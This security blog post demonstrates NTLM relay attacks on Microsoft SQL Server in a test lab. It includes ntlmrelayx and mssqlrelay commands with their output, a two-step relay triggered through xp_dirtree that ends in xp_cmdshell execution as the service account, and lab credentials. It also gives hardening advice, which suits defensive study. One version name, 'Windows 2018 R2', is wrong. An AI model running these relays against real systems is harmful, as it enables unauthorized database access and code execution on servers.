Readers of this blog probably know that I like to try NTLM relaying over all protocols possible! Relaying to Microsoft SQL (MSSQL) is known to work when using the default weak configuration.
With this blog post, we show some dangerous configurations and release a small tool to automate NTLM relaying in these cases.
In an NTLM relay attack, an attacker in a man-in-the-middle position relays an NTLM three-way handshake to a target of their choosing in order to impersonate the victim on the target.
Connections to MSSQL databases use the MS-TDS protocol over RPC. You may remember that RPC does not provide global relay protection or encryption.
Depending on the configuration of the MSSQL client and server, the communication can be encrypted or plaintext.
Optionally, the TDS protocol has implementations for the following protocols on top of the preceding transports:
With encryption, another feature called Extended Protection is available since Windows 2018 R2 and Windows 7. Service Binding and Channel Binding can be enforced and protect against relaying attacks but this feature is disabled by default.
The Microsoft documentation explains nicely how to configure Extended Protection.
For extended protection to be supported, encryption must be enforced. To this end, open the SQL Server Configuration Manager, find the Protocols in the Network Configuration and switch the “Force Encryption” flag to “Yes”.
In the “Advanced” tab of the protocols properties, you can set “Extended Protection” to “Off”, “Allowed” or “Required”.
If Extended Protection is disabled, one can relay to MSSQL. A proof of concept attack has existed in impacket’s ntlmrelayx since many years. I changed the attack a little bit recently to make it easier to use. Here’s what it may look like:
$ ntlmrelayx.py -t mssql://ws1.child.testlab.local -i -smb2support --no-multirelay
Impacket v0.10.1.dev1+20230425.94702.fadd61c8 - Copyright 2022 Fortra
[CUT BY COMPASS]
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.0.1.101, attacking target mssql://ws1.child.testlab.local
[*] Authenticating against mssql://ws1.child.testlab.local as CHILD/DDRAKE SUCCEED
[!] Press help for extra shell commands
SQL (child\ddrake guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- -----
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
In this example, the victim user connects (via SMB) to the attacker host and the connection is relayed to the MSSQL server. As a result, the attacker can run SQL queries on the server.
Running SQL queries in the name of other users is interesting, but elevating privileges to sysadmin would be nicer and may allow executing code on the server.
It is best practice to use a dedicated service account for running your MSSQL service (as opposed to using SYSTEM). If several instances of MSSQL Server are running under the same service account, this introduces new risks:
Among the many features of MSSQL, it is possible to handle files. The known stored procedures xp_fileexist
and xp_dirtree
can be misused to trigger an SMB connection to a chosen target. Standard DB users should never have permission to execute these procedures.
If both misconfigurations above are present, one can combine two NTLM relays to elevate privileges from user to sysadmin:
xp_dirtree
We released a tool on github. The tool allows to quickly get an overview of MSSQL instances in a Microsoft Active Directory, find the misconfigurations mentioned above and exploit the two-step relay easily.
We first want to enumerate MSSQL instances in the domain based on SPNs:
$ mssqlrelay checkall -scheme ldap -target child.testlab.local -ns 10.0.1.100 -u [email protected] -p 'Burp!=B33F' -windows-auth
MSSQLRelay v1.0 - by Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)
[*] SPNs in domain CHILD.TESTLAB.LOCAL:
[*] - MSSQLSvc/fs1.child.testlab.local:1433 (running as svc_sql)
[*] - MSSQLSvc/ws1.child.testlab.local:1433 (running as svc_sql)
[*] Checking found instances ...
[*] fs1.child.testlab.local (10.0.1.101:1433)
[*] - Version: Microsoft SQL Server 2019 RTM (15.0.2000)
[*] - Encryption: enforced
[*] - Login: successful (as TMASSIE)
[*] - DB user: guest
[*] - Database: master
[*] - Privileges: ['xp_dirtree', 'xp_fileexist']
[*] - SysAdmin: No
[*] ws1.child.testlab.local (10.0.1.103:1433)
[*] - Version: Microsoft SQL Server 2019 RTM (15.0.2000)
[*] - Encryption: not enforced
[*] - Login: successful (as TMASSIE)
[*] - DB user: guest
[*] - Database: master
[*] - Privileges: ['xp_dirtree', 'xp_fileexist']
[*] - SysAdmin: No
From this output, we know that both SPNs are registered to the same service account (svc_sql
). This user has SA privileges on the databases. Our user tmassie
has no admin privileges but can execute xp_dirtree
on fs1
and encryption is not enforced on ws1
. We can relay from fs1
to ws1
and elevate privileges!
$ mssqlrelay relay -target fs1.child.testlab.local -u [email protected] -p 'Burp!=B33F' ws1.child.testlab.local 10.0.1.15
MSSQLRelay v1.0 - by Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)
[*] Listening on 0.0.0.0:445
[*] Authenticating to victim 10.0.1.101
[*] Triggering connection to \\10.0.1.15\FZqxFiLX
[!] Press help for extra shell commands
SQL (child\svc_sql dbo@master)> xp_cmdshell whoami
output
-------------
child\svc_sql
NULL
SQL (child\svc_sql dbo@master)> exit
[*] Shutting down
[*] Exiting...
Please note that the tool is experimental and was not tested in depth. If you encounter any issue or have feature requests, please open an issue or a merge request!